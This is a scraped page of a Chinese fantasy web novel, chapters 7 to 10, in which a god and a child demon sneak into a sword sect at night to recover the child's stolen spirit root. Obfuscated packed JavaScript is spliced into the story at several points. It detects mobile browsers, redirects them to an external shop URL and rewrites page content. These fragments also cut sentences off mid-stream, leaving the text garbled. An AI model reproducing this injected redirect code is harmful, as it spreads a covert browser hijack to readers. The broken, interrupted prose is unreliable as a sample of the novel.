《告白失败后小狗攻跑路了》 7.这个夜晚 “什么条件?”和慕问。 这回闻人声学聪明了,没再直接说什么“想要家人”的愿望。 他抿了抿唇,乖巧地回答:“是秘密。” 和慕有些哭笑不得。 “秘密?”他重复道。 “嗯,秘密,”闻人声说,“等我帮完了你,再跟你讲。” 和慕忍不住掐了掐闻人声的脸,调侃道:“哦,年纪这么小,还会敲竹杠啊?” 敲竹杠?什么意思? 闻人声有点发懵,正想说自己只会敲木鱼。 和慕却是摆了摆手,说道:“无妨,料想你也不会提什么过分的要求,我答应你。” 闻人声一听,眼睛都睁大了不少,他兴奋得原地跳了两下,连带着包袱里的一大堆宝贝都差点抖落下来。 答、答答答答应了! 闻人声高兴得眼眶都有些红了,他努力憋住眼泪,用变了调的声音说道: “我会全力以赴的!” 和慕拍了拍闻人声的脑袋,笑道:“嗯,我相信你。” 其实这事情压根不需要闻人声出什么力。 换做没飞升的时候,和慕逼问出灵根的下落之后,就可以直接出剑杀人了。 只不过今时不同往日,他如今位列仙班,很多事情不能像从前在江湖上那样肆意妄为、意气用事,都得按着天庭的规矩来。 天庭对仙班的修行要求很高,所谓“替天行道”“斩妖除魔”,都是有限制条件的,譬如不可滥用神格,不罚无罪之人,不杀罪不至死者云云。 满足了这些要求,斩厄诛邪的行为才能抬高功德,否则就得贬损神格,严重了还会被重新贬为凡人。 好处是,只要是符合了诛杀条件的恶人,天庭就能下发一种无形的“通牒”,和慕就有权以任何方式斩杀对方,并拘束此恶人的魂魄,加以教改。 而这份“通牒”—— 和慕从腰间解下一枚铜铃,递到闻人声面前。 “伸手。”他说。 闻人声听话地摊出双手,和慕便将这铜铃搁到了他手心。 一阵凉意顿时从掌心中化开,闻人声稍稍拢起手,低头注视着这枚纹路精巧的铜铃。 这是枚四角的铜铃,顶上衔接了一段桥形纽,瓦状的铃身,舌芯还有一颗发亮的小光球。 “这东西叫做三清铃,”和慕解释道,“你在坏人面前晃一晃它,若是它响了,我便有了处决那个人的权力。” 换言之,这三清铃就是和慕的杀业“通牒”。 天庭下发的通牒不止这一种,譬如水师在降雨前要请示布雨的通牒,旱师在布下干旱前要请示消雨的通牒。 像和慕这样的杀神就更麻烦,每次杀人前都要请示一遍杀业通牒。 没有通牒就擅用法力,功德和神格便会一再贬损,所以与其说是“通牒”,不如说是天庭拴在各仙班脖子上的一根狗链。 闻人声半知半解地点了点头。 总之,这就是山神重要的东西吧? 那就一定要好好珍视。 这样想着,他把铃铛小心翼翼地收拾进了自己的小包袱里。 和慕又说:“一会儿我们趁夜潜入剑宗里,若是遇到尘敛,你就在旁边摇这个铃铛,我会保护你的。” 按闻人声的说法,尘敛完全符合“恶”的标准,三清铃没道理不会响动。 和慕对这一点没做太多的考虑,他重新挑开厢房的挂帘,对闻人声做了个招呼的手势。 “走吧,天寒日短,要抓紧时间了。” * 这还是闻人声头一回当“侠客”。 他心绪有些紧张,也有些兴奋,双手紧紧拽着自己的包袱肩带,一步也不敢怠慢,快步紧跟在了和慕身后。 茶馆离剑宗不远,和慕估摸了下脚程,便没再用缩地法术,转而带着闻人声从旁道悄悄摸了进去。 归一剑宗白日里被和慕搅了一通,这会儿山门紧闭,唯有议事的中堂亮着温吞的灯火,依稀能见到几人正襟危坐的残影。 多半和慕是“山神”的事情已经传开了,这帮人此刻正紧急商讨该怎么来赔罪呢。 “其实我想低调一点的。”和慕衔着草半蹲在墙头,对着中堂的方向感慨道,“要是这群人都知道我在这一带修行,岂不是打草惊蛇了?我还哪里逮得到恶徒。” 一旁的闻人声吃力地扒牢围墙的砖瓦,双脚腾在半空,努力冒出了一个脑袋。 “很、很低调啊!”他气喘吁吁地回答。 和慕瞥了岌岌可危的闻人声一眼。 小孩清瘦得可怜,那件杏黄布衫穿在身上显得格外空大,纤细的胳膊看上去压根没什么力量,还非喊着要靠自己爬上来。 和慕实在忍不住,想伸手拎他一把。 可闻人声却缩了缩脖子,摇头抗拒道:“不要帮我。” 说罢,他又踩着墙面,呼哧呼哧往上爬了两寸,像只卖力扑腾的雀儿。 确实努力,但差得也忒远了些。 等闻人声爬上来,恐怕尘敛都自然死亡了,还上哪找那半块灵根去呢? 和慕拿去了唇间的草杆,手指悄悄勾了勾,往闻人声脚下抬了个力道。 这下闻人声总算爬上墙头了,他拉住和慕的衣角,长长地喘着气,一边把双腿搭到了墙边。 “看、看吧!”闻人声有些得意地叉腰,“我能上来的。” 和慕朝他比了个拇指,笑说:“嗯,果然厉害,小瞧你了。” 得了褒扬,闻人声感觉更兴奋了,恨不得现在就拿出木剑跟那个无敌长老打一百回合。 凉风缠绕过指间,吹在他微微发烫的脸上,也轻撩起闻人声头顶晃来晃去的一撮灰毛。 这就是当大侠的感觉吗? 好自由啊! 他已经三年都没有离开过芳泽山了,若不是这趟被和慕带下山,闻人声还以为自己此生都见不到山下的无限风光了呢。 原来,上天还有眷顾他的时候。 闻人声抿了抿唇,松开手扶住了墙沿,双腿高兴地晃来晃去。 “好开心。”他说。 “开心什么?”和慕问。 他原以为闻人声又会回答什么“成为大侠了”这样的话,孰料这小孩却弯起蓝眸,伸手指向墙根处的地面。 和慕顺势望去,月光穿透他们的背脊,往地上投射出了两道模糊的人影。 一高一矮,一大一小。 一个是和慕,一个是闻人声。 “影子,”闻人声笑盈盈地说,“变成两个了。” 这个夜晚,有两个人都不再孤单了。 后半句话,闻人声悄悄藏在了心里。 * 两人吹了一会儿冷风,闻人声便收起了放松的情绪。 他隔着包袱摸了摸里面的三清铃,问道:“那现在,我们去哪里?” 和慕也收起一条腿坐在墙头,指了指中堂边上的一座回廊。 “方才我看了两眼,尘敛是从这个方向离开的,”和慕说,“你还记不记得,之前他把你抓走之后,带你去了哪里?” “嗯……” 闻人声皱眉,分外努力地思考了片刻,随后苦恼地看向和慕。 “好像是一个放满了书的地方,然后那里有一个台阶,可以走下去,下面是一个这么——大的炉子。”闻人声比划着说。 说完,他又担心这点信息不够,绞尽脑汁又挤出来几句:“反正是一个特别烫,比两个人还大的炉子,然后,然后一个圆形的盖子,还有、还有……” 好在和慕扬了扬手,说道:“无妨,这些足够了。” 虽然给的信息很模糊,但对于境界大圆满的和慕来说,找出这个地方简直就是易如反掌信手拈来。 闻人声登时松了口气。 “好厉害啊,”他忍不住感叹,“要是我也像你这样厉害就好了。” 和慕说:“没什么厉害的,你努努力,再长大些也能做到。” 这话像在闻人声心里点了簇小小的火团,跳动的焰火烧得他脸颊薄红。 没错,只要努努力,他一定也能找到自己的容身之处! 在行动之前,和慕似乎是不放心,又叮嘱了一遍闻人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“不用,”和慕扬扬手,言简意赅,“我撬开它。” 说罢,他就从发冠抽出一根银针,蹲下身子碾进了锁芯处,开始身体力行。 闻人声大惊失色,忍不住往后退了半步。 撬锁? 这不都是那种、那种偷东西的家伙干的事情吗? “怎么了?”和慕见他瑟缩,问道,“想回去了?” 闻人声赶紧摇摇头,重新跟上几步。 “没有,不想回去!” 和慕点点头,继续去捣鼓那锁芯。 闻人声花了好大的力气才勉强接受了山神还会撬锁的事实,他仰头看着那把被颠来倒去的锁,忍不住咽了咽喉咙。 “你一点也不像神仙。” 他小声嘟囔道。 和慕目光不离那锁芯,顺口回答道:“那像什么?” “像那种,嗯……”闻人声想了想,说,“闯江湖的人。” 其实他想说土匪,但那样或许不大礼貌。 闻人声顿了顿,又添上一句:“很帅的那种,侠客。” “江湖人不能修仙吗?”和慕笑起来,“我倒是觉得,那些终日闭门不出,所谓一心向道的人,才是最不适合修道的。” 闻人声听得似懂非懂,他“哦”了一声,继续去看那把锁。 大道,江湖…… 跟这把锁一样难懂的东西。 一旁的和慕见闻人声一脸迷茫,脸色又柔和起来,半开玩笑道:“是我言错了,怎么跟你一个小孩讲大道理。” “大道理小道理我都要听,”闻人声正经地反驳,“以后我也要成为你这样的人。” 和慕弯了弯眸,说:“你很想当会撬锁的神仙?” 闻人声摇摇头:“我要变得像你这样,很厉害的样子,拥有能守护家人的力量。” “家人啊……” 和慕把这两个字放在齿间琢磨了一下。 忽然,他心念一动,侧头和闻人声对上目光。 “哦,难不成,你说的那个条件——” 话还没说完,只听“咔哒”一声。 锁芯拧转,门开了。 8.山神的剑 和慕反应很快,锁扣一开,他当即噤声点退几步,拦至了闻人声身前。 门虽然落了锁,但经白日里一闹,这地方很可能设了埋伏,不能放松警惕。 闻人声此刻也没再逞强,他心头隐隐有些不安,一只手紧抓着包袱肩带,谨慎地冒出了一个脑袋。 “嘎吱”一声,门被夜风缓缓吹开了一条细缝。 随之,一股极为甜腻的气息就无声地钻入空气中,如同了无分量的虫蝶探至二人身边。 闻人声轻嗅了一下,这气味好似被水打湿的厚脂粉,涨腻潮湿,极不好闻。 他眉头微微皱起。 “好像就是这里,”闻人声低声道,“味道很像。” 他被尘敛抓走的时候,眼睛也被黑布给蒙上了,但其余四感也因此变得更加敏锐。 只要一靠近这个地方,闻人声就能有所察觉。 和慕点了点头,旋即一脚踹开房门,顺手把闻人声也给揪了进去。 待和慕轻手轻脚地关上门后,二人才勉强放下心来,得空四下张顾了一圈。 意外地,屋里并没有什么埋伏。 然而诡异的是,尘敛的房间四面皆不透光,一盏灯火也没点上,而且除了那股甜腻的香气外,空气中还弥漫着呛人的尘土味,仿佛常年不经人住。 漆黑无边的环境里,只有闻人声的双目亮起淡淡的一点幽蓝。 作为妖怪,他的夜视能力很强,哪怕是和慕的目力也比不及他。 正当和慕苦于没带个火折子时,闻人声已经主动拉着他的手指,指向了房间的深处。 那里是张纱帘半遮的床榻,榻上歪七扭八躺了个少年身形的人,闻人声很快就认出来这人是尘敛。 “尘敛好像在那边。”他晃了晃和慕的手,小声说。 和慕有些意外,他稍稍俯下身子,往闻人声指的方向看过去。 一片漆黑,分明连个轮廓都瞧不清。 若不是和慕能直接看到灵体,压根不知道那边还躺着个半死不活的人。 闻人声这笨蛋妖怪,又露出尾巴来了。 “这都能看见?”和慕故作惊讶地凑到闻人声耳边,压低声道,“凡人的眼睛……有这么厉害吗?” 闻人声立刻吓得汗毛倒竖。 他这才反应过来,原来普通人类晚上是看不清东西的! “没有,是看错了!”闻人声连忙揉了揉眼睛,语气夸张地说,“啊!好、好黑啊,什么都看不清了!” 演技拙劣得过分,和慕都差点要笑出声来了。 他强忍住笑意,回握住闻人声的手,佯作安慰道:“好了,别怕,我的剑带你走。” 话音刚落,色杀应召而出,凌空直立到了和慕的身侧。 剑身的梅花纹路在暗色环境中亮起冷硬的白光,照开了一小隅的视野。 闻人声这才放心地睁开眼睛,他的目光先是瞧了一眼不远处躺在床榻上的尘敛,发觉他没有动静,这才放心地去看和慕的佩剑。 虽然闻人声去偷看过很多次神像,但雪山上的神像毕竟被风吹雨淋了不少年岁,颜色已经褪得几乎看不清了。 能这样近距离地看到山神的佩剑,让闻人声很是兴奋。 他连忙想从自己的包袱里拿出那把小木剑,可掏了半天也没找到,这才想起来已经当作礼物赠给和慕了。 闻人声顿时有些失望。 他心说早知道不这样急着炫耀了,现在连一把佩剑都没有,要怎么跟山神并肩作战啊? 这年纪的小孩总是轻而易举地陷入烦恼中。 正当他苦着小脸,琢磨着要拿什么东西充当武器时,那柄色杀却不寻常地烁动了两下光芒。 随后,它竟好似能察觉到他的心情一般,慢悠悠地飘到了闻人声的面前,侧过剑身,缓缓躺平了下来。 “啊!” 闻人声轻呼了一声,慌忙伸手去接。 色杀也果然应了他的动作,把自己的身形“啵”地一下缩小到适合闻人声的尺寸,轻巧地落入了他的手中。 这、这这这…… 这是怎么回事?! 闻人声面露惊色,有些无措地抓着色杀,仰头向和慕投去了求助的目光。 和慕摸着下巴,也是一头雾水地看着自己的佩剑。 这种情况始料未及的。 境界大圆满的修士所持有的佩剑大多会有自己的灵性,不同的剑会因为吸收的灵力不同,而显露出微小的性格差异,脾气秉性也千奇百怪。 色杀就属于比较冷淡的类型,像这样主动去保护别人的情况少有见到,更别说主动变小身形来适应别人了。 “倒是没听说过,”和慕若有所思道,“不过无妨,既它喜欢你,你就拿着它替我指路吧。” 闻人声眼底的无措转瞬之间就化作了雀跃的光芒,他声音都快压不住了,惊喜地问道:“真的吗?” 和慕笑着点点头,说:“拿着吧,正好你想学武,可以练练手。” 闻人声当即用力地点了点头,他小心翼翼地摆正色杀,双手握住剑柄,神情紧张地看着前方。 “我会加油的!”他暗暗给自己打气。 话音刚落,只见几道莹白色的丝线从护手处探出,内旋着捆缚上了闻人声的手腕,如同一双温柔的手轻盈地抚摸着他的肌肤。 和慕见此情景,更是诧异。 剑灵往往与其主意念合一,这把剑握在和慕手里是切玉如水的杀器,出剑从未讷钝过。 此刻在闻人声手中,却似乎拥有了另一半灵魂。 是因为妖怪的体质不同吗? 和慕也琢磨不明白这把剑的意思。 但眼下重要的还是寻回灵根的下落,他摇了摇头,轻拍了一下闻人声的背脊,说道:“我们先去看看尘敛的情况。” 闻人声点点头,握着剑缓慢腾挪步子,悄无声息地走到了那张床榻跟前。 刚一靠近,一股浓烈的血腥气就扑袭而来。 闻人声脸色顿时一苦,稍稍偏过头去,空出一只手捏住了鼻子。 什么东西……好难闻! 他腹诽一句,勉强适应了气味之后,这才重新把目光放到尘敛身上。 尘敛睡得像头死猪,连身上的衣服都没脱下来过,先前被弄出来的伤口也全然没有被处理,额头那处已经生了疮,赭红的血仍汩汩下渗,几乎浸透了半床的被褥。 他整个人像块抹布似的被扔在这里,哪里有白日里被师长百般呵护的模样。 好…… 呕,好想吐…… 闻人声头一回见到这么恶心的场面,他喉咙间一阵发苦,连拿剑的手都忍不住有些瑟缩。 刚后退半步,便感觉背后传来一个力道,轻轻地拦住了他胆怯的脚步。 “别怕,他还活着。”和慕安抚似地揉了揉闻人声的背脊,说,“拿稳,手里有了剑,就没有再退的道理。” 拿了剑,就不能再退。 闻人声一听,登时有了力量,他用力地“嗯”了一声,眼神都坚定了不少。 他鼓足勇气,往前迈了一步。 只看到尘敛的双唇微微翕张,正发出轻轻的酣睡声,果然是没有断气的模样。 再细一听,似乎还能辨出一两句模糊的梦呓。 “下次……” “……会……把他……” 和慕表情有些嫌恶地看着尘敛,他指稍微微一动,一道噤声咒便悄然落下,将尘敛的上下嘴唇黏合到了一起。 房间内顿时安静了不少。 虽然尘敛的惨状恶心至极,但闻人声并不是没见过血,这么近距离看多了,心中那股抵触感也随之减小了不少。 一旁的和慕俯下身扫了一眼,小声说道:“色杀可以探知灵根,肩背和胸口处都可以探到,试试看能不能找到和你相称的气息。” “调动真气,让剑呼应你的灵力。” 闻人声点头,手中的色杀缓缓下落。 拿到足斤足两的剑才能感觉到,分量和木剑是截然不同的,越是把力道下压,剑就越拿不稳。 加上力气小,闻人声的手臂逐渐有些发抖,眼看色杀就要从手掌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16479449|185282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里滑落下去了。 和慕见状,手指轻轻一勾,稍微在他手腕的位置承托了一下,这才让剑稳住了许多。 剑不抖了,闻人声自然也不再紧张,他深吸一口气,缓缓阖上眼,开始用和慕教的方法感知尘敛的灵根。 幸运的是,在“感知”这一方面,闻人声似乎禀赋一流。 他很快就察觉出来,尘敛的灵根中并没有属于自己的那份气息。 不光如此,尘敛灵根的力量很混乱,似乎杂糅了很多不同属性的灵力,简直像不同颜色的染料搅和在同一个染缸里,极为混沌。 和慕等了一会儿,问道:“怎么样?” 闻人声摇摇头,如实答道:“他身上感觉不到我的灵力。” 和慕挑了挑眉,分析道:“看来,他拿走你的一半灵根后并未炼化给自己,那为什么一定要取你的灵根呢?” 闻人声说:“是给别人了吗?” 和慕思索了片刻这个猜想,最后摇摇头。 “应该不会,凭你能得到色杀的认可,就说明你的灵根并不弱小,”和慕说,“但白日里与剑宗中人一战,我能感觉到这门派的人皆是三流修士,成不了气候,不可能是吸收了你的灵根会有的实力。” 闻人声这会儿听出来了,山神这是在夸他的天资聪颖呢。 他顿时有些羞赧,挠了挠脸,小声应道:“我会继续努力的。” 和慕顺着闻人声“嗯”了一声,又说:“既如此,在这个房间你还有没有别的什么印象?” 闻人声方才被血腥味刺激得脑袋都晕了,如今适应下来后,最初嗅到的那股甜腻的脂粉气息重新回到感知里,顺带把他的回忆勾了起来。 不会有错,他一定被抓来过这里。 当时尘敛蒙着他的眼睛,把他扔进了一个漆黑的空间里。 那里焚着一种怪异的香,散发出来的正是这种甜到发腻的气味。 想到这里,闻人声当即凝聚了精神,开始巡着这股气味慢慢挪动步子。 和慕也不打扰他,安静地跟着闻人声的步伐。 贴着墙面绕了房间半圈后,二人停在了一座书架面前。 闻人声指了指书架的位置,说道:“那股气味在这里最浓,我当时应该被放到这里来了。” 和慕大致扫了一眼书架。 上下两排放的皆是些修真界秘闻的卷轴和书册,已经蒙了不少灰尘,看得出来很久没动过了。 而书架的中央摆着一排四只的瓷器,它们高矮宽窄不一,恰好填满了空档。 和慕眯起眼观察一圈,很快发现其中一枚瓷器上的灰尘明显要少一些。 “……机关?”他喃喃道。 说话间,他便单手扣住那碗口大的瓶身,指腹顺着瓶子的纹路往下探了探,摸到一道缝隙后,和慕手腕就稍稍用力,往旁侧一拧转。 随后,只听“咔哒”一声,书房内,整座书架、连带着地面也开始轻微晃动起来。 和慕立刻护住闻人声,警惕地观察着四周的情况。 没过多久,书架底下的圆盘便开始以不急不缓的速度碾转起来,似乎要将二人带去书架背后的地方。 闻人声心跳有些加快,他紧紧抱住和慕的一条大腿,捏着佩剑的手都有些出汗。 “别怕。”和慕小声安抚道。 闻人声点点头,凝聚精神开始认真观察四周的景致。 书架背后果真别有洞天。 这儿藏着一个堪堪三人宽的密闭空间,正对着书架的位置是一扇石头做的隐门,门缝处爬满了青苔。 诡异的是,这扇隐门上密密匝匝地贴满了鬼符,两处书格檐角还各挂了一枚四角铜铃,防得严丝合缝,似乎怕极了门后的凶煞之物。 与此同时,闻人声感觉浑身的经脉都沸动了起来,原本微弱到无法感知的灵力忽然开始强烈流转,似乎在拼命提醒着他什么事情。 闻人声把和慕抱得更紧了,他眼底重新浮上恐惧的底色,颤着手指向那扇隐门。 “好像……” 灵根的气息,就在门后。 9.喜欢我吗 色杀似乎也感应到了门后的那股力量,剑身轻轻颤动了两下。 “镇煞咒……”和慕撩起门上的符箓,若有所思道,“莫非是将灵根与什么恶灵封印到一块儿了?” 闻人声脸色都有些发白,突如其来的灵流波动叫他身体不大适应,喉口一阵涩苦,隐隐有想吐的感觉。 “唔……” 他低哼了一声,又连忙捂住嘴。 不行,不要抱怨。 灵根就在眼前,稍微忍耐一下就能过去了。 想是这么想,可这灵流带来的感觉就像是坐在摇晃不止的小舟上,愈是想忍,胃中那股反酸感就愈是强烈。 闻人声眼尾都憋红了,他忍不住弓起身,虚弱地发出了两声轻哼。 “调整呼吸,你的真气逆行了。” 和慕很快就发觉了闻人声的异状,他拉过闻人声的手腕,双指一搭脉息,随后从腰侧掀出一张符箓,贴到了闻人声肩胛骨的中心。 甫一贴上,符箓便凭空燃起一尾幽蓝的火焰,很快就将符纸燃烧殆尽。 符纸烧完后,闻人声的气息瞬间通畅了不少,他捂了捂胸口,有股淡淡的暖意。 方才符纸上流窜的火焰似乎进入了他的身体里。 “舒服了吗?”和慕问,“灵根脱离身体太久,多少会有些不适应,我渡了些灵力给你。” 这回和慕主动伸出手,示意闻人声牵住自己。 闻人声眨眨眼,呆愣愣地看了看和慕的手,又仰起头看看他的眼睛。 “怎么,不害怕了?”和慕弯了弯眸。 闻人声这才迟钝地反应过来,山神这是要和他拉手,是庇护他的意思。 他连忙点点头,握住了和慕的小拇指,冰原一样漂亮的眼瞳里闪烁着雀跃的光亮。 “害怕的,”他高兴地说,“特别特别特别害怕。” 这模样可没有半点害怕的意思。 但小孩笑起来实在太可爱了,叫和慕忍不住想掐掐他的脸,拆穿的话便也没机会说出口。 一只手牵着闻人声,和慕的行动谨慎了不少。 他掀去了门上的一张镇煞符,灵流的波动很快就有了反应,两边的四角铜铃瞬间震颤不止,晃荡出贯耳的刺响。 闻人声隐隐听到门后传来几声痛苦的呻/吟,伴随着有什么东西在不断撞向这扇石门,像随时能破门而出。 “这真的是我的灵根吗?”闻人声忍不住问道,“为什么它这么不友善?” 和慕说:“有两股不同的灵力在彼此相抗,里面恐怕还关了别的东西。” 闻人声似懂非懂地“喔”了一声,下意识抓紧了和慕的手。 “会不会很厉害呀?” “不会,”和慕随手扬开手里的镇煞符,“这点程度,就算是你也能轻松解决。” “真的吗?”闻人声做出苦瓜脸,“可是我……” “真的,”和慕说得很坚定,“不要没自信,你的资质很好,只是缺了些机缘。” 他顿了顿,添上一句:“这机缘,有我带你寻,你大可放心。” 和慕这样一说,闻人声心头的恐惧瞬间褪去不少。 说得对,不能失去信心。 虽然弄丢了一半灵根,但山神不是把自己的佩剑借给他了吗? 色杀这么厉害,他只要不紧张,一定可以用好的。 诶,说起来,刚刚就感觉手里轻飘飘的,就好像什么东西也没拿一样…… 闻人声这才后知后觉地低头看向自己的手心。 空落落的,什么也没有。 “……” “剑呢?!” 闻人声捂住脸,大喊一声。 话音刚落,色杀便应声而出,烁动着银芒,缓缓飘到了闻人声面前。 它不动声色,只有剑身的梅花纹路一明一灭,仿佛是在平稳地呼吸。 闻人声这才想起来,方才他一害怕,双手直接甩脱了佩剑,转身就去抱住了和慕的腿。 若不是色杀灵性高,怕不是得被他摔个缺口出来。 “对不起!” 闻人声连忙弯腰道歉。 色杀似乎并没有生气,它安静地悬在半空,似乎在等待闻人声重新接下它。 可下一个问题接踵而至。 闻人声一只手还牵着和慕,单只手又没办法控制住色杀的重量,至少需要三只手才能兼顾两边。 不管放弃哪个,都显得自己好偏心,另一个也一定会伤心的。 啊,完全忙不过来了! 闻人声一会儿看向色杀,一会儿看向和慕,着急得两眼冒圈圈。 和慕见他手足无措得像只找不到尾巴的小狗,唇角微微上弯,轻声笑了笑。 小孩可真是有意思。 “声声,”和慕稍稍倾身,故意问道,“那你是喜欢它,还是喜欢我啊?” 闻人声都快吓哭了,他捏着和慕的手,支支吾吾地回答: “我、我……” 他“我”了半天,脑袋都快被烧掉了,也愣是没想出该怎么回答和慕的问题。 眼看着闻人声眼泪都要涌出来了,和慕这才适时收手,主动松开了闻人声。 “好了好了,”他转而揉了揉闻人声的头发,“马上就要拿回灵根当大侠了,还哭什么?” 闻人声吸了吸鼻子,眼里满是不解。 和慕却不多说,他冲闻人声手里的色杀抬了抬下巴,道:“拿着剑护身吧,我来破阵。” “……” 闻人声还没意识到自己被和慕耍了,他眼泪汪汪地握住剑,听话地退到了一侧去。 * 手里的色杀虽然缩小了身形,但依然很有分量,闻人声用尽全力拿着它,脑中却又回想起方才自己紧紧抱住山神的模样。 他很久没有这样依赖过一个人了。 或者说,很久没有出现这样能让他依赖的人了。 但山神很可靠,闻人声总是下意识地想去依靠他,甚至想粘着他,就像月亮下的那两道影子一样,把灵魂也紧紧地连在一起。 就像家人。 唉,可是自己为什么总是在关键时刻掉链子呢? 闻人声瘪起嘴,在心里嘟囔起来。 明明在芳泽山,自己跟手影玩的时候,从来不会结巴,也不会支支吾吾地讲不出话来的。 难道也像山神说的一样,是因为不自信吗? 还是是因为太久没和别人交流,所以一说话就紧张呢? “唉……” 闻人声轻轻地叹了口气,圆润的双眼里满是忧愁。 正当他心情低落时,忽然感觉到手臂上传来一阵细微的痒意。 低头一看,色杀的护手处竟再度探出了几束灵力,如丝线般轻柔地圈住了闻人声的手腕。 这力量温柔得像汩汩溪流,一点点淌过皮肤,直达心灵,将那些尖锐的、粗糙的、或起或伏的情绪棱角全部抚平下去。 慢慢地,闻人声的情绪似乎也真的被一把剑给安抚好了。 他脸上染出欣喜的神色,凑近色杀的剑柄,小声说道:“谢谢你!” 真是一把不计前嫌的好剑! 闻人声这下收拾好了情绪,他摆正拿剑的姿势,重新抬眼看向和慕。 方才和慕说了要破阵,那他一定要从旁好好协助才行。 不过“破阵”,究竟是要做什么呢? 贴符咒,还是用法术? 虽然不管哪个闻人声都不会,他只能在旁边起到一个加油鼓劲的作用。 刚想到这儿,和慕那处便传来些细碎的“叮叮咚咚”声。 闻人声抬头一看,发现和慕稍事在门上摸索了一会儿,又拿指节敲击了两下,似乎是在确定石门最脆弱的部位。 “啊,”闻人声张了张口,“难道——” 此句未竞,下一刻,只见和慕忽然抬手按住粗糙的石门,另一手猛地收起臂。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16493084|185282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 旋即,青筋暴起、化掌为拳,以极快的速度劲力一送! 砰! 随着一声贯耳巨响,和慕身周霎那间扬起半人高的尘土,拳头落下的位置,石门如蛛网般四散开裂,接着崩然坍塌,巨石滚滚而落。 好在色杀及时张开了一圈屏障,将尘土拦在了闻人声面前,这才没叫他呛得直咳嗽。 石门被砸开的那一刻,闻人声还是被巨响吓得闭了一下眼睛。 但他很快又睁开眼,目光闪烁着别样的兴奋,将方才那点阴翳扫得一干二净。 “超级帅的,对吧?”闻人声忍不住对手里的色杀说,“我以后也会成为这样的大侠!” 说罢,他就有模有样地学着和慕的模样,冲着空气打了一拳,稍稍打散了一些灰尘。 “呼,”闻人声得意地说,“就这么帅。” 那边用蛮力破开镇煞的和慕拍了拍手,大步一迈直接跨过了碎石堆,闻人声见状也赶紧拿上剑跟去他身后。 二人接连踏入了这厢房的最深处。 里边的景致很快就暴露在闻人声的视野里,他此刻也总算瞧清楚了那股甜腻香气的来源。 这屋里绕着墙面边缘,齐刷刷地摆了四只香炉,香炉里烧的不是线香,而是几只长得像胭脂虫的活物,身体被灭不去的火焰烤得滋滋作响,不断翻滚扭曲着。 而香炉中间则放了把破旧的藤椅,上边坐着个上了年纪的人。 不,与其说是“人”,不如说是一把骨头,瘦得只剩一层皮肤在包裹身躯了,从香炉里爬出来的胭脂虫还不断往他身上蠕动,似要啃噬他的血肉。 然而这老者却仿佛了无生念,兀自低垂着头,把椅子晃得吱嘎吱嘎响个不停。 闻人声是不怕虫的,他平日里就喜爱扑蝶,但瞧见这副诡谲的画面,多少还是有些胆怯。 他拉过和慕的红色披挂,盖到了自己头上,双手紧紧握着色杀,给自己增加了一点儿安全感。 “他是人是鬼啊?”闻人声带着气音,小心地问道,“为什么尘敛房间里还关着这样的东西?他还活着吗?” 这些问题和慕也暂且没办法解答,他凝起神,双目再度化作赤金色,紧紧注视着那把藤椅上的人。 良久,和慕张口道:“非生非灭,非人非鬼。” 非生非灭,非人非鬼,那是什么意思? 闻人声听得背脊都有点发凉,他又扯了扯和慕的披风,把自己包得像盖了头纱的新娘。 随后,他便听到和慕飘下一句:“你的另一半灵根在他身上,只要取了他的性命,就能把灵根重新拿回来。” 一说到“取了他的性命”,闻人声赶紧搁下色杀,伸手摸到了自己的包袱处。 和慕交给他的三清铃还完好无损地躺在包袱里。 出发前他反复叮嘱过自己,只有摇响铃铛,和慕才能出手杀人,这样的时机很珍贵,千万不能因为冒失而错过了。 闻人声此刻也顾不上用剑,他赶紧将三清铃捧到手里,不等和慕说话,就铆足了劲晃了两下。 然而,除了细微的衣物摩擦声,什么声音都没有出现。 闻人声面露惊色,愣愣地看向手里的这枚三清铃。 没有声音? 难道是因为他的力气太小,天庭没有听到吗? 闻人声神色一慌,他连忙拿住桥纽,加倍努力地晃了晃铃铛。 片刻过后,三清铃才迟缓地发出悠悠响声,这声音如同打更时的锣鼓,震得人心慌不止。 “当——” “响了!”闻人声连忙看向和慕,“这样是不是就可以了?” 和慕的脸色并未好转,他蹙眉看着闻人声手中的三清铃,张口正欲说些什么。 然而话语未出,二人身后的入口处便传来一个熟悉的声音,抢断了和慕的回答。 “闻人声,” 那人话里带着酸味, “看来你身边也不缺朋友嘛。” 10.原来我是 几乎在闻人声回头的同时,一道银芒便擦过他的耳际,掀起一阵锐利的风声。 色杀飞旋剑身,片刻不曾犹豫,直接往来人的方向掠杀而去。 “等等!” “啧。” 和慕神色不动,双指微微偏转。 最后关头,色杀骤然悬停。 锋利的剑刃已然划破那人的脖颈,鲜血沿着冷硬的寒光下渗,缓缓滴落地面。 “想说什么?” 和慕半敛下眸,冷声道。 闻人声这才看清身后之人的相貌,衣物残破不堪,半张脸近乎血肉模糊,乌黑的血不断沿着脖颈往衣领里渗透下去。 此人正是方才睡得人事不省的尘敛。 色杀逼近在侧,尘敛只好吃力地歪着脖子,紧张得几乎要背过气儿去了,他用力地呼吸两口,瞪大双目看着和慕。 不知是色杀逼得太近,还是和慕又悄无声息地释放了神格,尘敛双唇颤抖得厉害,努力了好几次也没能让喉咙发出完整的音节。 